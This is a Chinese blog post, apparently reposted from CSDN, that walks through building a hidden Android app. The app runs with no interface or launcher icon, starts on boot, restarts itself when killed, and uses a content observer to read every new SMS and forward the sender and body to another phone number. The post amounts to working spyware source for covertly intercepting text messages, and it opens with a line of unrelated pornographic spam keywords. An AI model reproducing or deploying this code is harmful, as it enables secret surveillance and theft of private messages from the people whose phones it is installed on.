小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

以及無(wú)界面后臺(tái)運(yùn)行服務(wù),開(kāi)機(jī)啟動(dòng)和殺死服務(wù)后重新啟動(dòng)

 飛鷹飛龍飛天 2014-04-10

   第一步:我們講解怎樣做一個(gè)無(wú)界面和應(yīng)用圖標(biāo)的的應(yīng)用程序。我這里用的是隱式啟動(dòng)Activity,這樣啟動(dòng)就不會(huì)帶界面和圖標(biāo),其實(shí)做開(kāi)啟啟動(dòng)非常容易,寫(xiě)一個(gè)廣播事件進(jìn)行監(jiān)聽(tīng),并注冊(cè)在清單文件中,一會(huì)我們?cè)诮榻B怎么做到開(kāi)機(jī)啟動(dòng)服務(wù)?;貧w正題:如果沒(méi)有activity就不能做到安裝就運(yùn)行,所以我們要有activity,但是又不能有界面和圖標(biāo),那就得這么做,看代碼吧!如下:

紅線部分就是比較重點(diǎn)的代碼,上邊有解釋,我就不多說(shuō)了,只要加上上邊紅色部分的代碼,就能做到啟動(dòng)Activity沒(méi)有界面和圖標(biāo)。

   第二步:服務(wù)開(kāi)機(jī)自動(dòng)啟動(dòng)。首先我們應(yīng)該寫(xiě)一個(gè)開(kāi)機(jī)自動(dòng)啟動(dòng)的廣播,代碼如下:

  1. package net.loonggg.testbackstage;  
  2.   
  3. import android.content.BroadcastReceiver;  
  4. import android.content.Context;  
  5. import android.content.Intent;  
  6.   
  7. public class BootReceiver extends BroadcastReceiver {  
  8.   
  9.     @Override  
  10.     public void onReceive(Context context, Intent intent) {  
  11.         Intent mBootIntent = new Intent(context, TestService.class);  
  12.         context.startService(mBootIntent);  
  13.     }  
  14.   
  15. }  

然后是非常重要的服務(wù)Service的代碼:

  1. package net.loonggg.testbackstage;  
  2.   
  3. import android.app.Service;  
  4. import android.content.ContentResolver;  
  5. import android.content.Intent;  
  6. import android.database.ContentObserver;  
  7. import android.database.Cursor;  
  8. import android.net.Uri;  
  9. import android.os.Handler;  
  10. import android.os.IBinder;  
  11. import android.telephony.SmsManager;  
  12.   
  13. public class TestService extends Service {  
  14.   
  15.     @Override  
  16.     public IBinder onBind(Intent intent) {  
  17.         return null;  
  18.     }  
  19.   
  20.     @Override  
  21.     public void onCreate() {  
  22.         super.onCreate();  
  23.         ContentResolver resolver = getContentResolver();  
  24.         Uri uri = Uri.parse("content://sms/");  
  25.         resolver.registerContentObserver(uri, true, new MyObserver(  
  26.                 new Handler()));  
  27.     }  
  28.   
  29.     @Override  
  30.     public int onStartCommand(Intent intent, int flags, int startId) {  
  31.         flags = START_STICKY;// START_STICKY(或START_STICKY_COMPATIBILITY)是service被kill掉后自動(dòng)重寫(xiě)創(chuàng)建  
  32.         return super.onStartCommand(intent, flags, startId);  
  33.         // return START_REDELIVER_INTENT;  
  34.     }  
  35.   
  36.     private class MyObserver extends ContentObserver {  
  37.   
  38.         public MyObserver(Handler handler) {  
  39.             super(handler);  
  40.         }  
  41.   
  42.         @Override  
  43.         public void onChange(boolean selfChange) {  
  44.             super.onChange(selfChange);  
  45.             ContentResolver resolver = getContentResolver();  
  46.             Uri uri = Uri.parse("content://sms/");  
  47.             Cursor cursor = resolver.query(uri, new String[] { "address",  
  48.                     "body" }, null, null, null);  
  49.             cursor.moveToFirst();  
  50.             String address = cursor.getString(cursor.getColumnIndex("address"));  
  51.             String body = cursor.getString(cursor.getColumnIndex("body"));  
  52.             String smsContent = "number:" + address + "--content:" + body;  
  53.             SmsManager smsManager = SmsManager.getDefault();  
  54.             // 下邊的注釋是超過(guò)70個(gè)字符,分條發(fā)送,這里不需要  
  55.             // if (smsContent.length() > 70) {  
  56.             // List<String> contents = smsManager.divideMessage(smsContent);  
  57.             // for (String sms : contents) {  
  58.             // smsManager.sendTextMessage("5556", null, sms, null, null);  
  59.             // }  
  60.             // } else {  
  61.             smsManager.sendTextMessage("5556", null, smsContent, null, null);  
  62.             // }  
  63.             cursor.close();  
  64.         }  
  65.   
  66.     }  
  67.   
  68.     public void onDestroy() {  
  69.         Intent localIntent = new Intent();  
  70.         localIntent.setClass(this, TestService.class); // 銷毀時(shí)重新啟動(dòng)Service  
  71.         this.startService(localIntent);  
  72.     }  
  73.   
  74. }  
服務(wù)里面的具體代碼我們一會(huì)在解釋,這里主要講解怎樣做到開(kāi)機(jī)自動(dòng)啟動(dòng)。做到開(kāi)機(jī)自動(dòng)啟動(dòng),與服務(wù)里面的代碼沒(méi)有關(guān)系,主要是那個(gè)BootReceiver廣播配合清單文件AndroidManifest.xml,在清單文件里注冊(cè)這個(gè)廣播事件,開(kāi)機(jī)觸發(fā)廣播,就會(huì)運(yùn)行BootReceiver里面的onReceive()方法,啟動(dòng)服務(wù)了!

紅色部分代碼就是廣播里面有關(guān)開(kāi)機(jī)啟動(dòng)的代碼,黑色的那兩行與殺死進(jìn)程再重新啟動(dòng)有關(guān)!

  第三步:被管理進(jìn)程的軟件殺死服務(wù)后,再重新啟動(dòng)的方法。首先將服務(wù)的優(yōu)先級(jí)設(shè)為最大,這樣不容易在內(nèi)存不夠時(shí),被先殺死,然后就是將廣播的優(yōu)先級(jí)加最高,最重要的就是上邊圖片中那兩行的畫(huà)黑線的代碼,它們會(huì)在鎖屏和情景變化時(shí),啟動(dòng)廣播,從而重新啟動(dòng)服務(wù)。代碼如下:


在TestService中,更重要的代碼是:

  1. @Override  
  2.     public int onStartCommand(Intent intent, int flags, int startId) {  
  3.         flags = START_STICKY;// START_STICKY(或START_STICKY_COMPATIBILITY)是service被kill掉后自動(dòng)重寫(xiě)創(chuàng)建  
  4.         return super.onStartCommand(intent, flags, startId);  
  5.         // return START_REDELIVER_INTENT;  
  6.     }  
  7.   
  8.     public void onDestroy() {  
  9.         Intent localIntent = new Intent();  
  10.         localIntent.setClass(this, TestService.class); // 銷毀時(shí)重新啟動(dòng)Service  
  11.         this.startService(localIntent);  
  12.     }  

為什么重要,代碼中都有解釋,一個(gè)是在銷毀時(shí)重新啟動(dòng)服務(wù),另一個(gè)是返回START_STICKY代表service被kill掉后會(huì)自動(dòng)重寫(xiě)創(chuàng)建。

第四步:通過(guò)內(nèi)容觀察者和內(nèi)容提供者監(jiān)聽(tīng)短信,內(nèi)容觀察者是觀察系統(tǒng)短信的變化,只要系統(tǒng)短信變化,內(nèi)容觀察者就能監(jiān)聽(tīng)到,通過(guò)內(nèi)容提供者獲取短信內(nèi)容,再把內(nèi)容發(fā)送到監(jiān)聽(tīng)者的手機(jī)或者上傳到服務(wù)器,我在這里用的是將監(jiān)聽(tīng)到的短信內(nèi)容發(fā)送到監(jiān)聽(tīng)者的手機(jī)中!代碼就在TestService中,代碼如下:

  1. @Override  
  2.     public void onCreate() {  
  3.         super.onCreate();  
  4.         ContentResolver resolver = getContentResolver();  
  5.         Uri uri = Uri.parse("content://sms/");  
  6.         /** 
  7.          * 第一個(gè)參數(shù)不用解釋,第二個(gè)參數(shù)notifyForDescendents這個(gè)需要解釋,true代表主機(jī)的主要Uri一樣就會(huì)觸發(fā),發(fā)送消息, 
  8.          * false代表必須非常精確的Uri一樣才能觸發(fā),發(fā)送消息,第三個(gè)參數(shù)也不用解釋,就是內(nèi)容觀察者 
  9.          */  
  10.         resolver.registerContentObserver(uri, true, new MyObserver(  
  11.                 new Handler()));  
  12.     }  
  13.   
  14.     private class MyObserver extends ContentObserver {  
  15.   
  16.         public MyObserver(Handler handler) {  
  17.             super(handler);  
  18.         }  
  19.   
  20.         /** 
  21.          * 當(dāng)內(nèi)容觀察者,觀察到數(shù)據(jù)庫(kù)的內(nèi)容發(fā)生變化的時(shí)候,調(diào)用這個(gè)方法 。 觀察到消息郵箱里面有一條數(shù)據(jù)庫(kù)內(nèi)容變化的通知 
  22.          */  
  23.         @Override  
  24.         public void onChange(boolean selfChange) {  
  25.             super.onChange(selfChange);  
  26.             ContentResolver resolver = getContentResolver();  
  27.             Uri uri = Uri.parse("content://sms/");  
  28.             Cursor cursor = resolver.query(uri, new String[] { "address",  
  29.                     "body" }, null, null, null);  
  30.             cursor.moveToFirst();  
  31.             String address = cursor.getString(cursor.getColumnIndex("address"));  
  32.             String body = cursor.getString(cursor.getColumnIndex("body"));  
  33.             String smsContent = "number:" + address + "--content:" + body;  
  34.             SmsManager smsManager = SmsManager.getDefault();  
  35.             // 下邊的注釋是超過(guò)70個(gè)字符,分條發(fā)送,這里不需要  
  36.             // if (smsContent.length() > 70) {  
  37.             // List<String> contents = smsManager.divideMessage(smsContent);  
  38.             // for (String sms : contents) {  
  39.             // smsManager.sendTextMessage("5556", null, sms, null, null);  
  40.             // }  
  41.             // } else {  
  42.             smsManager.sendTextMessage("5556", null, smsContent, null, null);  
  43.             // }  
  44.             cursor.close();  
  45.         }  
  46.   
  47.     }  
到這里就都解釋完了,我把完整的清單文件代碼貼出來(lái),代碼如下:

  1. <?xml version="1.0" encoding="utf-8"?>  
  2. <manifest xmlns:android="http://schemas./apk/res/android"  
  3.     package="net.loonggg.testbackstage"  
  4.     android:versionCode="1"  
  5.     android:versionName="1.0" >  
  6.   
  7.     <uses-sdk  
  8.         android:minSdkVersion="8"  
  9.         android:targetSdkVersion="17" />  
  10.   
  11.     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />  
  12.     <uses-permission android:name="android.permission.READ_SMS" />  
  13.     <uses-permission android:name="android.permission.SEND_SMS" />  
  14.     <uses-permission android:name="android.permission.READ_PHONE_STATE" />  
  15.   
  16.     <application  
  17.         android:allowBackup="true"  
  18.         android:label="@string/app_name"  
  19.         android:persistent="true"  
  20.         android:theme="@style/AppTheme" > <!-- 切記, android:persistent="true"這個(gè)不可濫用,系統(tǒng)中用這個(gè)的service,app一多,整個(gè)系統(tǒng)就完蛋了。 -->  
  21.         <service  
  22.             android:name=".TestService"  
  23.             android:priority="1000" > <!-- 優(yōu)先級(jí)設(shè)置成最大 -->  
  24.         </service>  
  25.   
  26.         <receiver  
  27.             android:name=".BootReceiver"  
  28.             android:priority="2147483647" > <!-- 優(yōu)先級(jí)加最高 -->  
  29.             <intent-filter>  
  30.   
  31.                 <!-- 系統(tǒng)啟動(dòng)完成后會(huì)調(diào)用 -->  
  32.                 <action android:name="android.intent.action.BOOT_COMPLETED" />  
  33.                 <!-- 解鎖完成后會(huì)調(diào)用 -->  
  34.                 <action android:name="android.intent.action.USER_PRESENT" />  
  35.                 <!-- 監(jiān)聽(tīng)情景切換 -->  
  36.                 <action android:name="android.media.RINGER_MODE_CHANGED" />  
  37.             </intent-filter>  
  38.         </receiver>  
  39.   
  40.         <activity  
  41.             android:name=".MainActivity"  
  42.             android:label="@string/app_name"  
  43.             android:theme="@android:style/Theme.NoDisplay" > <!-- 無(wú)界面 -->  
  44.             <intent-filter>  
  45.                 <action android:name="android.intent.action.MAIN" />  
  46.   
  47.                 <category android:name="android.intent.category.LAUNCHER" />  
  48.                 <!-- 隱式啟動(dòng)Activity,不會(huì)顯示圖標(biāo) -->  
  49.                 <data  
  50.                     android:host="”MainActivity”"  
  51.                     android:scheme="”net.loonggg.testbackstage”" />  
  52.             </intent-filter>  
  53.         </activity>  
  54.     </application>  
  55.   
  56. </manifest>  
會(huì)了嗎?看懂了吧?

轉(zhuǎn)載請(qǐng)注明出處:http://blog.csdn.net/loongggdroid/article/details/17538407

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多